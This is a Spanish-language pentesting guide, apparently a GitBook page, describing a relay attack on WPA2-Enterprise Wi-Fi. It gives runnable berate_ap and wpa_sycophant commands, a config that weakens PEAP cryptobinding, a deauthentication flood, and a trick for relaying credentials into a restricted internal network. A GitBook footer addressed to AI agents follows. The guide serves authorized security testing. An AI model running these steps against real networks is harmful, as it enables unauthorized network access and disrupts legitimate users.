> For the complete documentation index, see [llms.txt](https://www.xtormin.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.xtormin.com/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-mgt-red-corporativa/ataques/ataque-de-retransmision-relay.md).

# Ataque de retransmisión / relay

Básicamente nuestro AP falso se encontrará en medio de la comunicación entre el cliente legítimo y el AP legítimo.

El flujo en concreto es el siguiente:

1. Se levanta un punto de acceso falso.
2. El cliente se conecta a nuestro AP falso y a su vez wpa\_sycophant se conecta al AP real.
3. El AP real manda un challenge.
4. Nuestro AP falso se lo reenvía al cliente legítimo.
5. El cliente legítimo genera una respuesta que envía a nuestro AP falso.
6. Y esa respuesta se envía del AP falso al AP original.
7. Como el challenge es legítimo, nos conectamos directamente a la red.

## Relay attack

{% stepper %}
{% step %}

### Cambio de la MAC

Se recomienda cambiar la MAC del equipo de ataque por la MAC del AP objetivo:

[Comandos esenciales](/pentesting-en-infraestructuras/redes-wi-fi/comandos-esenciales.md#cambio-de-mac-por-la-del-ap-objetivo)
{% endstep %}

{% step %}

### Edición de fichero de config

Se cambia solo el `ssid` y el `bssid_blacklist`. En el ssid se pone el nombre de la red objetivo y en `bssid_blacklist` se pone la MAC que tiene nuestro equipo (en este caso coincide con la MAC del AP objetivo).

{% code overflow="wrap" %}

```bash
vim wpa_sycophant.conf
```

{% endcode %}

{% code overflow="wrap" %}

```json
network={
  ssid="mi-wifi-corp"
  # The SSID you would like to relay and authenticate against. 
  scan_ssid=1
  key_mgmt=WPA-EAP
  # Do not modify
  identity=""
  anonymous_identity=""
  password=""
  # This initialises the variables for me.
  # -------------
  eap=PEAP
  # Read https://w1.fi/cgit/hostap/plain/wpa_supplicant/wpa_supplicant.conf for help with phase1 options. 
  # This attempts to force the client not use cryptobinding. 
  phase1="peapver=1"
  phase2="auth=MSCHAPV2"
  # Dont want to connect back to ourselves,
  # so add your rogue BSSID here.
  bssid_blacklist=00:14:22:01:23:45
}
```

{% endcode %}
{% endstep %}

{% step %}

### 2 ventanas en paralelo

{% hint style="info" %}
Las interfaces usadas para cada acción deben ser distintas, nunca la misma.
{% endhint %}

1. Levantar el AP falso:

{% code overflow="wrap" %}

```bash
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log <interfaz> lo mi-wifi-corp
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan0 lo mi-wifi-corp
```

{% endcode %}

{% hint style="warning" icon="file-certificate" %}
Pedirá crear un certificado, por lo que, deberá ser lo más parecido al certificado original. Para ello se puede usar información recopilada durante la enumeración o usar una que intuyamos que puede ser la más cercana a ello.
{% endhint %}

{% hint style="warning" %}
El AP suele tardar en levantarse, así que paciencia y a esperar antes de lanzar el ataque :)
{% endhint %}

2. Se ejecuta wpa\_sycophant en la otra ventana:

{% code overflow="wrap" %}

```bash
./wpa_sycophant.sh -c wpa_sycophant.conf -i wlan1
```

{% endcode %}
{% endstep %}

{% step %}

### Recibir autenticación

Para recibir la autenticación se pueden hacer dos cosas:

* Esperar a que se conecte un cliente.
* Realizar un ataque de deautenticación:

{% code overflow="wrap" %}

```bash
aireplay-ng -0 0 wlan0 -a <BSSID> -c <STATION>
```

{% endcode %}
{% endstep %}

{% step %}

### Obtener IP

{% code overflow="wrap" %}

```bash
dhclient wlan2 -v
```

{% endcode %}
{% endstep %}
{% endstepper %}

## Evasión de bloqueo de autenticación con certificado

Si en vez de autenticarse, en `berate_ap` se ve un error como "SSL: SSL3 alert: read (remote and reported an error):fatal:unknown CA", se puede usar desde `berate_ap` un nombre de red a la que sí podamos conectarnos (ej: mi-wifi-corp) y en `wpa_sycophant` el nombre de la red objetivo (ej: mi-wifi-internal), esto hará que nos autentiquemos en la primera red permitida y se reenvíen esas credenciales a la segunda red donde inicialmente no nos podíamos conectar, y que nos conectemos satisfactoriamente.

{% stepper %}
{% step %}

### Cambio de la MAC

Se recomienda cambiar la MAC del equipo de ataque por la MAC del AP objetivo:

[Comandos esenciales](/pentesting-en-infraestructuras/redes-wi-fi/comandos-esenciales.md#cambio-de-mac-por-la-del-ap-objetivo)
{% endstep %}

{% step %}

### Edición de fichero de config

Se cambia solo el `ssid` y el `bssid_blacklist`. En el ssid se pone el nombre de la red objetivo y en `bssid_blacklist` se pone la MAC que tiene nuestro equipo (en este caso coincide con la MAC del AP objetivo).

{% code overflow="wrap" %}

```bash
vim wpa_sycophant.conf
```

{% endcode %}

{% code overflow="wrap" %}

```json
network={
  ssid="mi-wifi-internal"
  # The SSID you would like to relay and authenticate against. 
  scan_ssid=1
  key_mgmt=WPA-EAP
  # Do not modify
  identity=""
  anonymous_identity=""
  password=""
  # This initialises the variables for me.
  # -------------
  eap=PEAP
  # Read https://w1.fi/cgit/hostap/plain/wpa_supplicant/wpa_supplicant.conf for help with phase1 options. 
  # This attempts to force the client not use cryptobinding. 
  phase1="peapver=1"
  phase2="auth=MSCHAPV2"
  # Dont want to connect back to ourselves,
  # so add your rogue BSSID here.
  bssid_blacklist=00:14:22:01:23:45
```

{% endcode %}
{% endstep %}

{% step %}

### 2 ventanas en paralelo

{% hint style="info" %}
Las interfaces usadas para cada acción deben ser distintas, nunca la misma.
{% endhint %}

1. Levantar el AP falso:

{% code overflow="wrap" %}

```bash
./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log wlan0 lo mi-wifi-corp
```

{% endcode %}

{% hint style="warning" icon="file-certificate" %}
Pedirá crear un certificado, por lo que, deberá ser lo más parecido al certificado original. Para ello se puede usar información recopilada durante la enumeración o usar una que intuyamos que puede ser la más cercana a ello.
{% endhint %}

{% hint style="warning" %}
El AP suele tardar en levantarse, así que paciencia y a esperar antes de lanzar el ataque :)
{% endhint %}

2. Se ejecuta wpa\_sycophant en la otra ventana:

{% code overflow="wrap" %}

```bash
./wpa_sycophant.sh -c wpa_sycophant.conf -i wlan1
```

{% endcode %}
{% endstep %}

{% step %}

### Recibir autenticación

Para recibir la autenticación se pueden hacer dos cosas:

* Esperar a que se conecte un cliente.
* Realizar un ataque de deautenticación. La deautenticación se realizará contra un cliente de la red a la que podemos conectarnos (ej: mi-wifi-corp), no de la red objetivo.

{% code overflow="wrap" %}

```bash
aireplay-ng -0 0 wlan0 -a <BSSID> -c <STATION>
```

{% endcode %}
{% endstep %}

{% step %}

### Obtener IP

{% code overflow="wrap" %}

```bash
dhclient wlan2 -v
```

{% endcode %}
{% endstep %}
{% endstepper %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-mgt-red-corporativa/ataques/ataque-de-retransmision-relay.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
